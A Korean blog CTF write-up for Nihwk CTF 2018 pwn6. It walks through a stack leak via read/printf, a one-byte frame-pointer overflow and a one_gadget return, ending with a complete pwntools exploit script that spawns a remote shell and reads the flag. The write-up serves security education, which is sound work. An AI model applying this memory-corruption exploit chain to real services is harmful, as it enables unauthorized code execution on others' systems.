일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- string
- writeup
- TUCTF
- picoCTF
- FSB
- BOF
- pwn
- format
- Toddler's Bottle
- Rookiss
- 2018
- pico
- Bug
- anti
- shellcraft
- CTF
- reversing
- ASM
- PMA
- pwnable
- rev
- Reverse
- pwnable.kr
- Read
- shellcode
- Leak
- toddler
- practicalmalwareanalysis
- CANARY
- Bottle
- Today
- Total
제리의 블로그
Nihwk CTF 2018 pwn6 (Frame Pointer Overflow) 본문
Nihwk CTF 2018 pwn6
주최 측의 치명적인 실수로 문제가 오픈된 사건이 있었던 것 같은데
대회 공정성이 없어지면서 종료 시점 또한 없는 듯 합니다.
writeup을 써도 된다기에 이렇게 올립니다.
Pwn #6 神奇魔法麵包
2100
你可以解開神奇魔法麵包拿到shell嗎?
Please shell it
https://nihwkpwn.herokuapp.com/
중국어는 번역기 돌려도 모르겠지만
퍼너블인 것은 맞으니까 쉘을 따면 됩니다.
nc 0.tcp.ngrok.io 15076
Download: https://nihwkpwn.herokuapp.com/pwnfile
Sometimes, the port will be outdated, please wait for refresh
접속 정보와 바이너리가 주어집니다.
pwnfile의 압축을 풀면
두 개의 바이너리가 존재합니다.
libc-2.19.so: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d9a10b8ef90300628dd0a3a535106967714d7328, for GNU/Linux 2.6.24, stripped
magic_world: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f3e6545f102a6268330f7ceb9299a385c7d07111, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
int __cdecl main()
{
int choice; // [sp+Ch] [bp-4h]@2
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
do
{
while ( 1 )
{
puts("================================");
puts(" Magic World (∩^o^)⊃━☆゚.*・。");
puts("================================");
puts(" 1. Regist a spell");
puts(" 2. Try a spell");
puts("================================");
__printf_chk(1LL, "Choice: ");
__isoc99_scanf("%d", &choice);
if ( choice != 1 )
break;
regist();
}
}
while ( choice != 2 );
magic();
return 0;
}
main 에서 호출하는 사용자 정의함수로
regist 와 magic 함수가 있습니다.
void __cdecl regist()
{
char buf[0x70]; // [sp+0h] [bp-70h]@1
__printf_chk(1LL, "Give me your spell: ");
read(0, buf, 0x64uLL);
__printf_chk(1LL, "Regist: ");
__printf_chk(1LL, buf);
}
BOF 취약점은 보이지 않습니다만
read 와 printf 의 콜라보로 스택 영역을 leak 할 수 있습니다.
입력: read 함수는 scanf 와는 다르게 버퍼의 마지막에 NULL 을 추가하지 않는 함수입니다.
출력: printf 함수는 길이 체크 없이 NULL 바이트까지 출력해주기 때문에 leak 할 수 있습니다.
leak 할 데이터는 스택에 저장되어있는 '오프셋'입니다.
다음은 read() 직후 스택 영역을 덤프한 모습입니다.
00007FFCFC289FD0 4141414141414141
00007FFCFC289FD8 00007FA11E5AD3EC libc_2.19.so:_IO_do_write+7C
00007FFCFC289FE0 0000000000000020
00007FFCFC289FE8 00007FA11E8F6400 libc_2.19.so:_IO_2_1_stdout_
00007FFCFC289FF0 000000000000000A
00007FFCFC289FF8 0000000000400928 .rodata:s
00007FFCFC28A000 00007FFCFC28A140 [stack]:00007FFCFC28A140
00007FFCFC28A008 00007FA11E5AD7C3 libc_2.19.so:_IO_file_overflow+F3
00007FFCFC28A010 00007FA11E8F6400 libc_2.19.so:_IO_2_1_stdout_
00007FFCFC28A018 0000000000000020
00007FFCFC28A020 0000000000400928 .rodata:s
00007FFCFC28A028 00007FA11E5A2EA2 libc_2.19.so:puts+142
[rsp+0x30] 에 stack 의 주소가 남아있고
[rsp+0x8], [rsp+0x18], [rsp+0x38], [rsp+0x40], [rsp+0x50] 에 라이브러리의 주소가 남아있습니다.
예시로 [rsp+0x8] 의 라이브러리 주소를 leak 하는 부분입니다.
[DEBUG] Sent 0x8 bytes:
'A' * 0x8
[DEBUG] Received 0x8 bytes:
'Regist: '
[DEBUG] Received 0xe bytes:
00000000 41 41 41 41 41 41 41 41 ec d3 5a 1e a1 7f │AAAA│AAAA│··Z·│··│
0000000e
[DEBUG] Received 0x21 bytes:
'================================\n'
[*] 0x7fa11e5ad3ec
>>> from pwn import *
>>> libc = ELF('./libc-2.19.so')
[*] './libc-2.19.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
>>> hex(0x7fa11e5ad3ec - (libc.sym._IO_do_write+0x7C))
'0x7fa11e533000'
<libc 의 base 주소>
상대 주소만큼 뺄셈하는 것으로 라이브러리의 base 를 계산하는데 성공했습니다.
void __cdecl magic()
{
char buf[0x10]; // [sp+0h] [bp-10h]@1
__printf_chk(1LL, "Give me your spell: ");
read(0, buf, 0x11uLL);
}
magic() 함수에서는 1-byte Overflow 가 일어납니다.
지역변수 buf 의 크기는 0x10 인데
read() 함수는 0x11 까지 버퍼 입력을 받기 때문입니다.
이전 rbp 조작을 통해
궁극적으로는 rip 컨트롤하기 위함인데
필연적으로 leave; ret;
가 필요합니다.
main+0xdb:
.text:0000000000400875 leave
.text:0000000000400876 retn
leave 는 mov rsp, rbp; pop rbp; 로 쪼갤 수 있고
ret 는 pop rip 입니다.
mov rsp, rbp; 가 있기 때문에
리턴 어드레스가 삽입된 주소로 유인(?)을 할 수 있는 것입니다.
FPO 조건
1. SFP 를 1바이트 이상 덮어쓸 수 있어야 함.
2. BOF 취약점은 서브함수 안에 있어야 함.
3. 메인 함수의 에필로그가 leave; ret; 로 끝나야 함.
다음은 버퍼 입력하기 전의 스택 영역입니다.
00007FFCFC28A030 0000000000000000
00007FFCFC28A038 0000000000000000
00007FFCFC28A040 00007FFCFC28A060 [stack]:00007FFCFC28A060 (sfp)
00007FFCFC28A048 0000000000400869 main+CF (ret)
0x7ffcfc28a030 에 리턴 주소를 넣고
1-byte Overflow 로 이전 rbp 를 0x7ffcfc28a030-0x8 로 덮어씌우면
main() 함수의 에필로그에서 공격자가 지정한 주소로 리턴할 것입니다.
리턴 주소는 libc 의 one_gadget 을 사용했습니다.
버퍼 입력 후 스택 영역:
00007FFCFC28A030 00007FA11E579428 libc_2.19.so:__strtold_nan+408
00007FFCFC28A038 00007FA11E579428 libc_2.19.so:__strtold_nan+408
00007FFCFC28A040 00007FFCFC28A028 [stack]:00007FFCFC28A028
00007FFCFC28A048 0000000000400869 main+CF
$ id
uid=24095(u24095) gid=24095(dyno) groups=24095(dyno)
$ cat /home/*/flag
flag{nihwk_love_pwn_and_ong_gadge_forever!!!}
libc = ELF('./libc-2.19.so')
#r = remote('0.tcp.ngrok.io', 19049)
r = remote('0.tcp.ngrok.io', 15076)
#r = process('./magic_world', env={'LD_PRELOAD':'./libc-2.19.so'})
def regist(len):
r.recvuntil(': ')
r.sendline(str(1))
r.recvuntil(': ')
spell = 'A' * len
r.send(spell)
r.recvuntil(spell)
return u64(r.recvuntil('==', True).ljust(8, '\0'))
def magic(payload):
r.recvuntil(': ')
r.sendline(str(2))
r.recvuntil(': ')
r.send(payload)
libc.address = regist(0x8) - 0x61c0
log.success(hex(libc.address))
stack = regist(0x30) - 0x110
log.success(hex(stack))
payload = ''
payload += p64(libc.address+0x46428) * 2
payload += chr(stack&0xff)
magic(payload)
r.interactive()
'CTF > pwnable' 카테고리의 다른 글
DefCamp CTF 2018 even more lucky Exploit (0) | 2018.09.23 |
---|---|
DefCamp CTF 2018 lucky Exploit (0) | 2018.09.23 |
TJCTF 2018 Online Banking (0) | 2018.08.16 |
mm @ dimigo2018 (0) | 2018.06.27 |
init @ dimigo2018 (0) | 2018.06.27 |